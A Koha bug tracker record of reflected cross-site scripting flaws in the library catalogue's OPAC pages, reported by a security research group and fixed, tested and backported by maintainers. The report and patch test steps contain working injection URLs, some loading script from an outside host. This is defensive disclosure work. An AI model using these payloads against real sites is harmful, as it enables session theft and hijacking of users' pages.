Bug 14418 - XSS Flaws in OPAC Interface
Summary: XSS Flaws in OPAC Interface
Status: CLOSED FIXED
Alias: None
Product: Koha
Classification: Unclassified
Component: OPAC (show other bugs)
Version: Main
Hardware: All All
: P5 - low major
Assignee: Owen Leonard
QA Contact: Testopia
URL:
Keywords:
Depends on:
Blocks: 13618 14524
  Show dependency treegraph
 
Reported: 2015-06-18 20:49 UTC by Raschin Tavakoli
Modified: 2016-12-05 21:23 UTC (History)
6 users (show)

See Also:
Change sponsored?: ---
Patch complexity: Small patch
Documentation contact:
Documentation submission:
Text to go in the release notes:
Version(s) released in:
Circulation function:


Attachments
Screenshots (401.99 KB, application/x-compressed-tar)
2015-06-18 20:49 UTC, Raschin Tavakoli
Details
Bug 14418 XSS Vulnerabilities (3.59 KB, patch)
2015-06-18 21:28 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14418 : XSS flaw in opac-shelves.pl (1.91 KB, patch)
2015-06-18 23:38 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14418 : More XSS vulnerabilities in opac-shelves.pl (1.52 KB, patch)
2015-06-18 23:43 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14418 XSS Vulnerabilities (3.66 KB, patch)
2015-06-19 09:08 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14418 : XSS flaw in opac-shelves.pl (1.98 KB, patch)
2015-06-19 09:08 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14418 : More XSS vulnerabilities in opac-shelves.pl (1.58 KB, patch)
2015-06-19 09:08 UTC, Jonathan Druart
Details | Diff | Splinter Review
[PASSED QA] Bug 14418 XSS Vulnerabilities (3.77 KB, patch)
2015-06-19 13:11 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14418 : XSS flaw in opac-shelves.pl (2.05 KB, patch)
2015-06-19 13:11 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14418 : More XSS vulnerabilities in opac-shelves.pl (1.75 KB, patch)
2015-06-19 13:12 UTC, Katrin Fischer
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description Raschin Tavakoli 2015-06-18 20:49:58 UTC
Created attachment 40335 [details]
Screenshots

Multiple XSS and XSRF issues in the Koha OPAC interface:

Examples:

opac-search.pl, param tag:
testbox:9001/cgi-bin/koha/opac-search.pl?tag="><script src='http://cst.sba-research.org/x.js'/>&q=fantastique

opac-shelves.pl, param direction:
/cgi-bin/koha/opac-shelves.pl?viewshelf=19&sort=author&direction="><script src='http://cst.sba-research.org/x.js'/>

opac-shelves.pl, param display:
/cgi-bin/koha/opac-shelves.pl?op=modif&shelfnumber=16&display="><script src='http://cst.sba-research.org/x.js'/>

---

Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org
Comment 1 Chris Cormack 2015-06-18 21:28:19 UTC Comment hidden (obsolete)
Comment 2 Chris Cormack 2015-06-18 21:33:35 UTC
I suspect the problem is the query_cgi variable not being escaped in other templates as well.

I'll come back to this bug, if no one else has fixed the others, but I am going to look at 14416 first.
Comment 3 Chris Cormack 2015-06-18 23:38:25 UTC Comment hidden (obsolete)
Comment 4 Chris Cormack 2015-06-18 23:43:18 UTC Comment hidden (obsolete)
Comment 5 Jonathan Druart 2015-06-19 09:08:11 UTC Comment hidden (obsolete)
Comment 6 Jonathan Druart 2015-06-19 09:08:16 UTC Comment hidden (obsolete)
Comment 7 Jonathan Druart 2015-06-19 09:08:19 UTC Comment hidden (obsolete)
Comment 8 Jonathan Druart 2015-06-19 09:09:35 UTC
Comment on attachment 40351 [details] [review]
Bug 14418 : XSS flaw in opac-shelves.pl

Review of attachment 40351 [details] [review]:
-----------------------------------------------------------------

::: koha-tmpl/opac-tmpl/bootstrap/en/modules/opac-shelves.tt
@@ +168,4 @@
>                                          <span class="sendlist"><a href="/cgi-bin/koha/opac-sendshelf.pl?shelfid=[% shelfnumber | html %]" class="send" onclick="open('/cgi-bin/koha/opac-sendshelf.pl?shelfid=[% shelfnumber | html %]','win_form','scrollbars=no,resizable=no,height=300,width=450,top=50,left=100'); return false; ">Send list</a></span>
>                                      [% END %]
>  
> +                                    <a class="print-small" target="_blank" href="/cgi-bin/koha/opac-shelves.pl?viewshelf=[% shelfnumber %]&sort=[% sort %]&direction=[% direction |uri %]&print=1">Print list</a>

I don't manage to simulate an attack with "sort", but it could certainly be a good idea to escape it also.
Comment 9 Katrin Fischer 2015-06-19 13:11:47 UTC
Created attachment 40366 [details] [review]
[PASSED QA] Bug 14418 XSS Vulnerabilities

Fix for /cgi-bin/koha/opac-search.pl

To test

1/ Hit /cgi-bin/koha/opac-search.pl?tag="><script
src='http://cst.sba-research.org/x.js'/>&q=a
2/ Notice the js is executed
3/ Apply patch
4/ Reload page, notice it is no longer executed
5/ Test the rss links work still

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Confirmed bug and that the patch fixes it.
Comment 10 Katrin Fischer 2015-06-19 13:11:59 UTC
Created attachment 40367 [details] [review]
[PASSED QA] Bug 14418 : XSS flaw in opac-shelves.pl

To test:
1/ Create a list and add at least one item to it
2/ Hit a url like http://192.168.2.18/cgi-bin/koha/opac-shelves.pl?viewshelf=7&sort=author&direction=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
  Where the shelf id is the number of the list you created, notice the js is executed
3/ Apply the patch
4/ Reload the page notice the js is now escaped

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 11 Katrin Fischer 2015-06-19 13:12:27 UTC
Created attachment 40368 [details] [review]
[PASSED QA] Bug 14418 : More XSS vulnerabilities in opac-shelves.pl

To test:
1/ Hit a url like
/cgi-bin/koha/opac-shelves.pl?viewshelf=7&op=modif&display="><script>alert('oh
noes')</script>  Where the id is a valid shelf id
2/ Notice the js is executed
3/ Apply patch
4/ Reload page
5/ Notice input is now escaped on display

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Tested in Debian, couldn't reproduce the alert in Iceweasel, but in
Chromium. Patch fixes it.
Comment 12 Tomás Cohen Arazi (tcohen) 2015-06-22 14:39:29 UTC
Patches pushed to master.

Thanks Chris!
Comment 13 Chris Cormack 2015-06-22 21:44:52 UTC
Pushed to 3.20.x will be in 3.20.1
Comment 14 Liz Rea 2015-06-23 01:55:42 UTC
Pushed to 3.18.x will be in 3.18.08
Comment 15 Fridolin Somers 2015-06-23 09:54:12 UTC
Pushed to 3.14.x, will be in 3.14.16

Commit "Bug 14418 : XSS flaw in opac-shelves.pl" is useless in 3.14.x
Comment 16 Jonathan Druart 2015-07-13 14:40:47 UTC
This patch breaks the RSS link, see bug 14524.